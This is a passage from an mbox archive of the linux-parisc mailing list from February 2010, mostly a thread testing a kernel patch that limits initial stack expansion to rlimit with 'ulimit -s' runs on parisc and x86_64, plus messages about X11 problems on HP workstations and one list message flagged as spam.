   message dated "Wed, 10 Feb 2010 14:12:51 +0900."
X-Mailer: MH-E 8.2; nmh 1.3; GNU Emacs 23.1.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2641 gmane.linux.file-systems:38134 gmane.linux.kernel:948405 gmane.linux.ports.ppc64.devel:64408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2641>



In message <20100210141016.4D18.A69D9226@jp.fujitsu.com> you wrote:
> > On 02/09/2010 10:51 PM, Michael Neuling wrote:
> > >>> I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
> > >>> as well.
> > >>
> > >> There's only one CONFIG_GROWSUP arch - parisc.
> > >> Could someone please test it on parisc?
> > 
> > I did.
> > 
> > > How about doing:
> > >    'ulimit -s 15; ls'
> > > before and after the patch is applied.  Before it's applied, 'ls' should
> > > be killed.  After the patch is applied, 'ls' should no longer be killed.
> > >
> > > I'm suggesting a stack limit of 15KB since it's small enough to trigger
> > > 20*PAGE_SIZE.  Also 15KB not a multiple of PAGE_SIZE, which is a trickier
> > > case to handle correctly with this code.
> > >
> > > 4K pages on parisc should be fine to test with.
> > 
> > Mikey, thanks for the suggested test plan.
> > 
> > I'm not sure if your patch does it correct for parisc/stack-grows-up-case.
> > 
> > I tested your patch on  a 4k pages kernel:
> > root@c3000:~# uname -a
> > Linux c3000 2.6.33-rc7-32bit #221 Tue Feb 9 23:17:06 CET 2010 parisc GNU/Li
nux
> > 
> > Without your patch:
> > root@c3000:~# ulimit -s 15; ls
> > Killed
> > -> correct.
> > 
> > With your patch:
> > root@c3000:~# ulimit -s 15; ls
> > Killed
> > _or_:
> > root@c3000:~# ulimit -s 15; ls
> > Segmentation fault
> > -> ??
> > 
> > Any idea?
> 
> My x86_64 box also makes segmentation fault. I think "ulimit -s 15" is too sm
all stack for ls.
> "ulimit -s 27; ls "  wroks perfectly fine.

Arrh.  I asked Helge offline earlier to check what use to work on parisc
on 2.6.31.

I guess PPC has a nice clean non-bloated ABI :-D

Mikey
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Neuling <mikey@neuling.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Wed, 10 Feb 2010 16:31:07 +1100
Lines: 62
Approved: news@gmane.org
Message-ID: <17323.1265779867@neuling.org>
References: <10733.1265752289@neuling.org> <4B71E13C.2050905@gmx.de> <20100210141016.4D18.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265779888 1318 80.91.229.12 (10 Feb 2010 05:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Feb 2010 05:31:28 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	Americo Wang <xiyou.wangcong@gmail.com>,
	Anton Blanchard <anton@samba.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Oleg Nesterov <oleg@redhat.com>,
	James Morris <jmorris@namei.org>, Ingo Molnar <mingo@elte.hu>,
	linux-fsdevel@vger.kernel.org, stable@kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	Serge Hallyn <serue@us.ibm.com>,
	Paul Mackerras <paulus@samba.org>, benh@kernel.crashing.org,
	miltonm@bga.com, aeb@cwi.nl, linux-parisc@vger.kernel.org
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 10 06:31:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nf5AR-0004fe-DT
	for glpp-linux-parisc@lo.gmane.org; Wed, 10 Feb 2010 06:31:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751824Ab0BJFbK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Feb 2010 00:31:10 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:48024 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751738Ab0BJFbI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Feb 2010 00:31:08 -0500
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 141C2B7D52;
	Wed, 10 Feb 2010 16:31:08 +1100 (EST)
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id ED57A12001; Wed, 10 Feb 2010 16:31:07 +1100 (EST)
Original-Received: from neuling.org (localhost [127.0.0.1])
	by localhost.localdomain (Postfix) with ESMTP id E90522200E;
	Wed, 10 Feb 2010 16:31:07 +1100 (EST)
In-reply-to: <20100210141016.4D18.A69D9226@jp.fujitsu.com>
Comments: In-reply-to KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
   message dated "Wed, 10 Feb 2010 14:12:51 +0900."
X-Mailer: MH-E 8.2; nmh 1.3; GNU Emacs 23.1.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2642 gmane.linux.file-systems:38135 gmane.linux.kernel:948406 gmane.linux.ports.ppc64.devel:64409
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2642>



In message <20100210141016.4D18.A69D9226@jp.fujitsu.com> you wrote:
> > On 02/09/2010 10:51 PM, Michael Neuling wrote:
> > >>> I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
> > >>> as well.
> > >>
> > >> There's only one CONFIG_GROWSUP arch - parisc.
> > >> Could someone please test it on parisc?
> > 
> > I did.
> > 
> > > How about doing:
> > >    'ulimit -s 15; ls'
> > > before and after the patch is applied.  Before it's applied, 'ls' should
> > > be killed.  After the patch is applied, 'ls' should no longer be killed.
> > >
> > > I'm suggesting a stack limit of 15KB since it's small enough to trigger
> > > 20*PAGE_SIZE.  Also 15KB not a multiple of PAGE_SIZE, which is a trickier
> > > case to handle correctly with this code.
> > >
> > > 4K pages on parisc should be fine to test with.
> > 
> > Mikey, thanks for the suggested test plan.
> > 
> > I'm not sure if your patch does it correct for parisc/stack-grows-up-case.
> > 
> > I tested your patch on  a 4k pages kernel:
> > root@c3000:~# uname -a
> > Linux c3000 2.6.33-rc7-32bit #221 Tue Feb 9 23:17:06 CET 2010 parisc GNU/Li
nux
> > 
> > Without your patch:
> > root@c3000:~# ulimit -s 15; ls
> > Killed
> > -> correct.
> > 
> > With your patch:
> > root@c3000:~# ulimit -s 15; ls
> > Killed
> > _or_:
> > root@c3000:~# ulimit -s 15; ls
> > Segmentation fault
> > -> ??
> > 
> > Any idea?
> 
> My x86_64 box also makes segmentation fault. I think "ulimit -s 15" is too sm
all stack for ls.
> "ulimit -s 27; ls "  wroks perfectly fine.

Arrh.  I asked Helge offline earlier to check what use to work on parisc
on 2.6.31.

I guess PPC has a nice clean non-bloated ABI :-D

Mikey
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: VK <noreply@vk.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Sergey Hnykin vi ha aggiunto tra gli amici nel sito vkontakte.ru
Date: Wed, 10 Feb 2010 09:25:30 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <1cd650a6a12b828bf9dc8be4b9e5ea43@localhost.localdomain>
Reply-To: VK <noreply@vk.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1265804594 8107 80.91.229.12 (10 Feb 2010 12:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Feb 2010 12:23:14 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 10 13:23:12 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NfBb2-0006cX-AJ
	for glpp-linux-parisc@lo.gmane.org; Wed, 10 Feb 2010 13:23:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755687Ab0BJMXH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Feb 2010 07:23:07 -0500
Original-Received: from cs124.vk.com ([93.186.224.124]:55344 "EHLO vk.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1755677Ab0BJMXG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Feb 2010 07:23:06 -0500
X-Greylist: delayed 21453 seconds by postgrey-1.27 at vger.kernel.org; Wed, 10 Feb 2010 07:23:06 EST
Original-Received: from localhost
	([127.0.0.1] helo=localhost.localdomain ident=www-data)
	by vk.com with esmtp (Exim 4.63)
	(envelope-from <noreply@vk.com>)
	id 1Nf60w-0003Hq-DW
	for linux-parisc@vger.kernel.org; Wed, 10 Feb 2010 09:25:30 +0300
X-Priority: 3
X-Mailer: PHPMailer [version 1.73]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 10.4 points;
 *  0.0 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [93.186.224.124 listed in zen.spamhaus.org]
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?93.186.224.124>]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: vkontakte.ru]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: vkontakte.ru]
Xref: news.gmane.org gmane.linux.ports.parisc:2643 gmane.spam.detected:4551375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2643>

gentile ...

Ora pu=C3=B2 entrare nel sito e guardare le pagine dei Suoi amici, util=
izzando la Sua e-mail e la parola d&#39;ordine (password) generata auto=
maticamente.

VKONTAKTE.ru =C3=A8 un sito, che quotidianamente aiuta dieci milioni di=
 persone a ritrovare vecchi amici, intrattenersi con loro in rete e con=
dividere fotografie e avvenimenti della vita.

Per entrare nel sito, clicchi sul link sottostante:

ATTENZIONE: la Sua registrazione non sar=C3=A0 attiva se ignorer=C3=A0 =
questo invito.

Buon divertimento!


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bringing into life HP B2000
Date: Wed, 10 Feb 2010 18:07:20 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <20100210230720.B23144FA3@hiauly1.hia.nrc.ca>
References: <20100208161048.GA7893@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265843255 9788 80.91.229.12 (10 Feb 2010 23:07:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Feb 2010 23:07:35 +0000 (UTC)
Cc: witold.rohm@igig.up.wroc.pl, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 11 00:07:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NfLeV-0001Ib-R8
	for glpp-linux-parisc@lo.gmane.org; Thu, 11 Feb 2010 00:07:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755134Ab0BJXHX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Feb 2010 18:07:23 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3158 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753306Ab0BJXHW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Feb 2010 18:07:22 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B23144FA3; Wed, 10 Feb 2010 18:07:20 -0500 (EST)
In-Reply-To: <20100208161048.GA7893@lackof.org> from "Grant Grundler" at Feb 8, 2010 09:10:48 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2644
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2644>

> On Mon, Feb 08, 2010 at 03:03:21PM +0100, Witold Rohm wrote:
> > Dear Grant, 
> > I'm presently trying to run debian 5.0 on B2000 Visualize FX
> > Hp station - everything goes fine until the X server is starting
> > - according to hp pa risc forum - it's not possible to get X window
> > running on the FX card, and it's true. 
> > So i was trying to mount  PCI card I' ve tried the S3, Matrox II,
> > cards and none of them works - even if I change the path console
> > to PCI3. I checked the service Chasis codes and it states that:
> > "error executing ENTRY INIT" 
> > Could you give me any advice or help?
> 
> Hi Witold,
> Please CC linux-parisc mailing list for help. Folks there know more than I do.
> 
> What I do know is normal PCI cards do NOT have the firmware support (aka IODC)
> to function as console for PA-RISC. What does work is using a serial console
> to setup the machine so X11 can talk to a Matrox card. I'm not sure which
> one but I'm pretty sure someone had this working before.

My c3750 with Vis EG crashes with 2.6.32.7 starting X.  Same config doesn't
crash with 2.6.31.12, but keyboard doesn't work correctly.  It looks like
key releases are not detected.  Keyboard works fine in console mode.
Debian 5.0 was ok for X on this machine.

Sorry for this being slightly off topic, but I think we have some X rot

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bringing into life HP B2000
Date: Thu, 11 Feb 2010 11:31:30 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <7d01f9f01002110231h1c9dfddx20b58f869263feca@mail.gmail.com>
References: <20100208161048.GA7893@lackof.org>
	 <20100210230720.B23144FA3@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1265884312 13569 80.91.229.12 (11 Feb 2010 10:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Feb 2010 10:31:52 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	witold.rohm@igig.up.wroc.pl, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 11 11:31:38 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NfWKf-0002r2-U9
	for glpp-linux-parisc@lo.gmane.org; Thu, 11 Feb 2010 11:31:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750938Ab0BKKbh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Feb 2010 05:31:37 -0500
Original-Received: from ey-out-2122.google.com ([74.125.78.25]:9991 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750783Ab0BKKbg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Feb 2010 05:31:36 -0500
Original-Received: by ey-out-2122.google.com with SMTP id d26so290760eyd.19
        for <linux-parisc@vger.kernel.org>; Thu, 11 Feb 2010 02:31:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=7DrXlcW98jxV57PsXvOfStbfkWiCIyZHPZhqCiUuQoo=;
        b=j8eDnlJJ5QzSKFZKKtqQ2vvh4lr1L9UeSkeD13UnGLDWXRkOLMSzA6+ekEYAobNuEQ
         2t0bdXWbojltTjFz5N4mqTM3wZKUlSrA3jbU5VAVAtIiAyLJkaOSlP13JZkA6bLMrlLv
         OWcLBX29QpIpfit/fjsR3mRXnzlZcXp5ih7Vw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=gax5jJ/GGZjdtDuNNVaFiKyKrVoYaQ96o/czauTj07sJJDauNtRgbUz8PPNpVuI/Vp
         vIYPruL19Fwn0jqaI5ZlIUrgGC69LTrrNkX/r6LUbvwZZKwkTEpj7zqyC3DrXj/tA+f+
         IlPXQ2YPIWteHqpp4Xk00bkAfzQXlcmYrP/YY=
Original-Received: by 10.213.107.143 with SMTP id b15mr1327754ebp.72.1265884290173; 
	Thu, 11 Feb 2010 02:31:30 -0800 (PST)
In-Reply-To: <20100210230720.B23144FA3@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 35a8bc6e34e783f4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2645
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2645>

On Thu, Feb 11, 2010 at 12:07 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:

> crash with 2.6.31.12, but keyboard doesn't work correctly. =C2=A0It l=
ooks like
> key releases are not detected. =C2=A0Keyboard works fine in console m=
ode.

That's most likely not hppa specific, I've seen this on some x86
machines as well.

HTH

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Thu, 11 Feb 2010 23:16:06 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <4B7481A6.7080300@gmx.de>
References: <10733.1265752289@neuling.org> <4B71E13C.2050905@gmx.de> <20100210141016.4D18.A69D9226@jp.fujitsu.com> <17323.1265779867@neuling.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265926583 9541 80.91.229.12 (11 Feb 2010 22:16:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Feb 2010 22:16:23 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Americo Wang <xiyou.wangcong@gmail.com>,
	Anton Blanchard <anton@samba.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Oleg Nesterov <oleg@redhat.com>,
	James Morris <jmorris@namei.org>, Ingo Molnar <mingo@elte.hu>,
	linux-fsdevel@vger.kernel.org, stable@kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	Serge Hallyn <serue@us.ibm.com>,
	Paul Mackerras <paulus@samba.org>, benh@kernel.crashing.org,
	miltonm@bga.com, aeb@cwi.nl, linux-parisc@vger.kernel.org
To: Michael Neuling <mikey@neuling.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 11 23:16:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NfhKZ-00011W-W9
	for glpp-linux-parisc@lo.gmane.org; Thu, 11 Feb 2010 23:16:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757170Ab0BKWQO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Feb 2010 17:16:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:40570 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756947Ab0BKWQN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Feb 2010 17:16:13 -0500
Original-Received: (qmail invoked by alias); 11 Feb 2010 22:16:11 -0000
Original-Received: from p54AD34FE.dip0.t-ipconnect.de (EHLO halden.box) [84.173.52.254]
  by mail.gmx.net (mp008) with SMTP; 11 Feb 2010 23:16:11 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18ccPNVxmkcYEJU1L17eJlPimJB/OH7bt3HFCxEOP
	GhOLOX1NdzaaEl
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100120 Fedora/3.0.1-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.1
In-Reply-To: <17323.1265779867@neuling.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46999999999999997
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2646 gmane.linux.file-systems:38157 gmane.linux.kernel:949103 gmane.linux.ports.ppc64.devel:64467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2646>

On 02/10/2010 06:31 AM, Michael Neuling wrote:
> In message<20100210141016.4D18.A69D9226@jp.fujitsu.com>  you wrote:
>>> On 02/09/2010 10:51 PM, Michael Neuling wrote:
>>>>>> I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
>>>>>> as well.
>>>>>
>>>>> There's only one CONFIG_GROWSUP arch - parisc.
>>>>> Could someone please test it on parisc?
>>>
>>> I did.
>>>
>>>> How about doing:
>>>>     'ulimit -s 15; ls'
>>>> before and after the patch is applied.  Before it's applied, 'ls' should
>>>> be killed.  After the patch is applied, 'ls' should no longer be killed.
>>>>
>>>> I'm suggesting a stack limit of 15KB since it's small enough to trigger
>>>> 20*PAGE_SIZE.  Also 15KB not a multiple of PAGE_SIZE, which is a trickier
>>>> case to handle correctly with this code.
>>>>
>>>> 4K pages on parisc should be fine to test with.
>>>
>>> Mikey, thanks for the suggested test plan.
>>>
>>> I'm not sure if your patch does it correct for parisc/stack-grows-up-case.
>>>
>>> I tested your patch on  a 4k pages kernel:
>>> root@c3000:~# uname -a
>>> Linux c3000 2.6.33-rc7-32bit #221 Tue Feb 9 23:17:06 CET 2010 parisc GNU/Li
> nux
>>>
>>> Without your patch:
>>> root@c3000:~# ulimit -s 15; ls
>>> Killed
>>> ->  correct.
>>>
>>> With your patch:
>>> root@c3000:~# ulimit -s 15; ls
>>> Killed
>>> _or_:
>>> root@c3000:~# ulimit -s 15; ls
>>> Segmentation fault
>>> ->  ??
>>>
>>> Any idea?
>>
>> My x86_64 box also makes segmentation fault. I think "ulimit -s 15" is too sm
> all stack for ls.
>> "ulimit -s 27; ls "  wroks perfectly fine.
>
> Arrh.  I asked Helge offline earlier to check what use to work on parisc
> on 2.6.31.
>
> I guess PPC has a nice clean non-bloated ABI :-D

Hi Mikey,

I tested again, and it works for me with "ulimit -s 27" as well (on a 4k, 32bit kernel).
Still, I'm not 100%  sure if your patch is correct.
Anyway, it seems to work.

But what makes me wonder is, why EXTRA_STACK_VM_PAGES is defined in pages at all.
You wrote in your patch description:
> This bug means that when limiting the stack to less the 20*PAGE_SIZE (eg.
> 80K on 4K pages or 'ulimit -s 79') all processes will be killed before
> they start.  This is particularly bad with 64K pages, where a ulimit below
> 1280K will kill every process.

Wouldn't it make sense to define and use EXTRA_STACK_VM_SIZE instead (e.g. as 20*4096 = 80k)?
This extra stack reservation should IMHO be independend of the actual kernel page size.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Neuling <mikey@neuling.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Fri, 12 Feb 2010 09:22:33 +1100
Lines: 94
Approved: news@gmane.org
Message-ID: <17278.1265926953@neuling.org>
References: <10733.1265752289@neuling.org> <4B71E13C.2050905@gmx.de> <20100210141016.4D18.A69D9226@jp.fujitsu.com> <17323.1265779867@neuling.org> <4B7481A6.7080300@gmx.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265927002 10964 80.91.229.12 (11 Feb 2010 22:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Feb 2010 22:23:22 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Americo Wang <xiyou.wangcong@gmail.com>,
	Anton Blanchard <anton@samba.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Oleg Nesterov <oleg@redhat.com>,
	James Morris <jmorris@namei.org>, Ingo Molnar <mingo@elte.hu>,
	linux-fsdevel@vger.kernel.org, stable@kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	Serge Hallyn <serue@us.ibm.com>,
	Paul Mackerras <paulus@samba.org>, benh@kernel.crashing.org,
	miltonm@bga.com, aeb@cwi.nl, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 11 23:23:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
